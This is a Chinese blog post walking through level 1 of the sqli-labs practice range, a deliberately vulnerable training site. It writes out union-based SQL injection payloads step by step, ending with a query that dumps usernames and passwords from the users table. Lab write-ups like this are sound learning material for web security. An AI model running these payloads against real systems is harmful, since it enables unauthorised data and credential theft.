首页 > 数据库 >sqli-master第一关

sqli-master第一关

时间:2023-10-26 23:25:26浏览次数:35  
标签:group union sqli master --+ table 第一关 select

sqli-master第一关

 打开后发现让我们输入ID

输入?id=1回车返回下图名字和密码

 尝试后面添加'发现报错

 order by猜解字段,到4时发现报错,说明字段为3

 union select显示可显示路段

替换2为database()得出数据库名为security

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+得出数据库中的表名

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+得出users表列信息

union select 1,group_concat(username,id,password),3 from users limit 0,1--+得出列信息

得出用户,密码的信息

 

标签:group,union,sqli,master,--+,table,第一关,select
From: https://www.cnblogs.com/Menkio/p/17790688.html

相关文章

  • idea工具git其它分支代码合并到master分支上
    第一步:先提交本地代码到test分支上第二步:切到master分支上,选中要合并的版本,点击Cherry-Pick注意:先切换到master分支上更新代码,再操作第二、三步。 第三步:push一下就好了 ......
  • sqlite3 设置返回值为字典类型
    #0.pipinstallpymysql#1.导入pymysqlimportpymsql#2.创建一个数据库连接对象#3.创建游标cursor=conn.cursor()#4.SQL执行cursor.execute(sql)#5.DML提交事务conn.commit#6.关闭游标cursor.close()#7.关闭连接cursor.close()importsqlite3......
  • 如何在同一个机器里运行 Kubernetes Control Plane Master Node 和 Worker Node (Kuber
    文章目录小结问题解决参考小结在Kubernetes集群的环境中,同一个机器里如何同时运行KubernetesControlPlaneMasterNode和WorkerNode,这样同一个机器承担了两个角色,本文描述了将KubernetesControlPlaneMasterNode进行设置使其承担WorkerNode的功能。问题参考使用keepa......
  • go-ethereum-master/core/vm/stack.go 源码阅读
    //Copyright2014Thego-ethereumAuthors//Thisfileispartofthego-ethereumlibrary.////Thego-ethereumlibraryisfreesoftware:youcanredistributeitand/ormodify//itunderthetermsoftheGNULesserGeneralPublicLicenseaspublishedby......
  • 得到sqlite的数据条数的代码
    https://blog.csdn.net/weixin_35754962/article/details/129060944importsqlite3conn=sqlite3.connect('example.db')cursor=conn.cursor()#查询数据条数cursor.execute("SELECTCOUNT(*)FROMtable_name")count=cursor.fetchone()[0]pri......
  • litestream sqlite流式复制工具
    litestream是基于golang开发的sqlite流式复制工具,可以方便的复制数据到s3或者一些共享存储中说明litestream使用简单,对于一些基于sqlite的db存储的应用备份,是一个很不错的选择(比如默认的grafana,proxysql)同时litestream对于s3兼容的存储支持也很不错(minio)值得试用下参考......
  • 工具说明书 - DB Browser for SQLite
    https://blog.csdn.net/guoqx/article/details/121761216这里就要介绍一款,可以更加方便直接对SQLite的数据库操作的工具软件:DBBrowserforSQLite。 下载安装:Downloads-DBBrowserforSQLitehttps://sqlitebrowser.org/dl/ 下载64位安装版:DB.Browser.for.SQLite-3.12......
  • 容器环境中安装salt-master salt-api
    FROMcentos:7RUNcurl-fsSLhttps://repo.saltproject.io/py3/redhat/7/x86_64/3004.repo|tee/etc/yum.repos.d/salt.repo&&\sed-i"s/repo.saltproject.com/mirrors.aliyun.com\/saltstack/g"/etc/yum.repos.d/salt.repo&&\......
  • 【靶场部署】docker搭建sqli-labs
    1、声明本文所介绍的内容仅用于学习和交流,严禁利用文中技术进行非法行为。由于传播、利用本文所提供的信息和技术而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。2、sqli-labs介绍sqli-labs是一个开源且非常有学习价值的SQL注入靶场,基本......
  • sqli靶场通关流程23~32关
    sqli靶场通关流程23~32关Less-23GET-Errorbased-stripcomments(基于错误的,过滤注释的GET型)首先,我们通过输入1’unionselect1,2,database()--+发现结尾提示少了一个单引号我们再尝试输入联合查询语句?id='unionselect1,2,database()'看看能不能爆库,发现直接爆......